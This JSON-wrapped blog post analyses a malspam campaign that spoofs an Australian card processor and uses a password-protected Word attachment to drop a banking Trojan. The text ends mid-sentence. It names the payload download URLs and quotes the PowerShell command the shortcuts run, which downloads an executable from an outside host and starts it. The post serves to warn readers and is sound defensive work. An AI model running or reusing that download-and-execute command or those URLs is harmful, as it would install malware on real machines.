{"id":11795,"date":"2022-04-11T09:05:03","date_gmt":"2022-04-11T09:05:03","guid":{"rendered":"https:\/\/myonlinesecurity.co.uk\/?p=11795"},"modified":"2023-04-05T09:38:37","modified_gmt":"2023-04-05T09:38:37","slug":"receipt-of-approved-purchase","status":"publish","type":"page","link":"https:\/\/myonlinesecurity.co.uk\/receipt-of-approved-purchase\/","title":{"rendered":"Receipt Of APPROVED Purchase"},"content":{"rendered":"

It is Monday and the start of a new week, so lets see what the malware gangs have got in store for us and what is new. They haven\u2019t disappointed us today by sending a password protected docx file as the malware attachment, Spoofing https:\/\/www.eway.com.au\/ a well know Australian Credit card Payment \/ processing service. Without entering the password you cannot see the content of the word doc and that will allow it past antivirus checks.<\/p>\n

Today\u2019s first example is an email with the subject of Receipt of APPROVED purchase pretending to come from customer@ewaystore.info with a malicious word doc or Excel XLS spreadsheet attachment delivers what looks like some sort of Zeus\/ Zbot \/ Panda banking Trojan.<\/p>\n

They are using email addresses and subjects that will scare or entice a user to read the email and open the attachment. A very high proportion are being targeted at small and medium size businesses, with the hope of getting a better response than they do from consumers.<\/p>\n

Remember many email clients, especially on a mobile phone or tablet, only show the Name in the From: and not the bit in <domain.com >. That is why these scams and phishes work so well.<\/p>\n

eway ( which is an Australian card processor) has not been hacked or had their email or other servers compromised. They are not sending the emails to you. They are just innocent victims in exactly the same way as every recipient of these emails.<\/p>\n

However ewaystore.info was registered on 12 March 2021 by criminals using whoisguard protect http:\/\/whois.domaintools.com\/ewaystore.info . A quick look up shows this domain is using Google mail as the MX to send mail. That is why these malspam emails are currently passing email authentication checks. The criminals have set up ewaystore.info to redirect to the genuine https:\/\/www.eway.com.au\/ the recipient think that these are 100% legitimate emails and attachments<\/p>\n

Order_326794.docx Current Virus total detections: Payload Security doesn\u2019t show anything, because you need the password & I forgot to insert the use password command before pressing enter. Unfortunately Payload Security doesn\u2019t allow resubmissions on the free web based version. Luckily the contact who sent me this did manage to find the download which is http:\/\/earlychildhoodconsulting.com.au\/flash.exe ( VirusTotal) Payload Security which in turn downloads groupcreatedt.at\/pav\/32.bin ( VirusTotal) which is encrypted and will be either data or needs to be decrypted by the flash.exe or the original docx file. (You need to use a \u201cnull\u201d user agent to get the bin file)<\/p>\n

It shows how effective a simple password on a word doc is<\/p>\n

With password VirusTotal gives 0 detections<\/p>\n

remove password VirusTotal 18\/58 with generic detections<\/p>\n

running the non passworded version through Payload Security shows the malicious actions now. ( it would have been much simpler, if I had remembered to insert a \u201cuse password \u201d before pressing send to Payload Security<\/p>\n

Basically all the word docx does is creates 2 shortcut files that when you select either the receipt pdf or the receipt xls images in the doc runs this PowerShell command<\/p>\n

%ComSpec% \/C PowerShell (New-Object System.Net.WebClient).DownloadFile(\u2018http:\/\/earlychildhoodconsulting.com.au\/flash.exe\u2019,\u2019flash.exe\u2019);Start-Process \u2018flash.exe\u2019
\nOther subjects in this series seen so far include, some with and some without various numbers of exclamation marks:<\/p>\n